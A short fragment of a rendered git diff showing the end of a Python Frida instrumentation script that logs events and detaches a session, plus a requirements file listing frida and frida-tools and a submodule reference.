|
print(f"[+] {len(events)} events -> {out}")
|
||||||
|
session.detach()
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,2 @@
|
|||||||
|
frida
|
||||||
|
frida-tools
|
||||||
Binary file not shown.
Submodule
+1
Submodule tools/xeno-og added at 87ae4f96f8
Reference in New Issue
Block a user